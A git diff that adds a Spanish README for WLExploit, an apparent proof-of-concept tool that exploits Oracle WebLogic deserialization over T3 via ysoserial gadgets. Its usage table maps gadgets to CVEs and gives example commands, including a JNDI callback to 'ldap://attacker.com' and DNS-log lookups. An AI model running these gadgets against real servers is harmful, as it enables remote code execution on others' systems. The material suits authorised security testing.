diff --git a/README.es-ES.md b/README.es-ES.md new file mode 100644 index 0000000..4236549 --- /dev/null +++ b/README.es-ES.md @@ -0,0 +1,41 @@ +# WLExploit + +Una herramienta de prueba de concepto para explotar weblogic a través del protocolo T3 basada en [ysoserial](https://github.com/frohoff/ysoserial) + +## Uso + +```shell +$ java -jar WLExploit.jar +usage: WLExploit + -c Execute Command + -g Gadget + -h Target Host + -https Https or tls + -os Os Type [windows,linux] + -p Target Port + Available gadget types: + Gadget CVE Protocol Command Example Description + ------- ------------ ------- --------------------- ---------------------------------- + Coherence1 CVE-2020-2883 T3 nslookup sub.dnslog.cn + Coherence2 CVE-2020-2883 T3 nslookup sub.dnslog.cn Other version of CVE-2020-2883 + Coherence3 CVE-2020-2884 T3 nslookup sub.dnslog.cn + Coherence4 CVE-2020-14645 T3 ldap://attacker.com:1389/foo JNDI callback + Coherence5 CVE-2020-14644 T3 /path/to/exploit.class Ref: https://www.codetd.com/en/article/11892503 + Coherence6 CVE-2021-2302 T3 nslookup sub.dnslog.cn Oracle BI + CommonsCollections1 T3 nslookup sub.dnslog.cn + CommonsCollections2 T3 nslookup sub.dnslog.cn + CommonsCollections3 T3 nslookup sub.dnslog.cn + CommonsCollections4 T3 nslookup sub.dnslog.cn + CommonsCollections5 T3 nslookup sub.dnslog.cn + CommonsCollections6 T3 nslookup sub.dnslog.cn + CommonsCollections7 T3 nslookup sub.dnslog.cn + URLDNS T3 http://sub.dnslog.cn +``` + +## Compilación + +Requiere Java 1.8+ y Maven 3.x+ + +``` +mvn clean package -DskipTests +```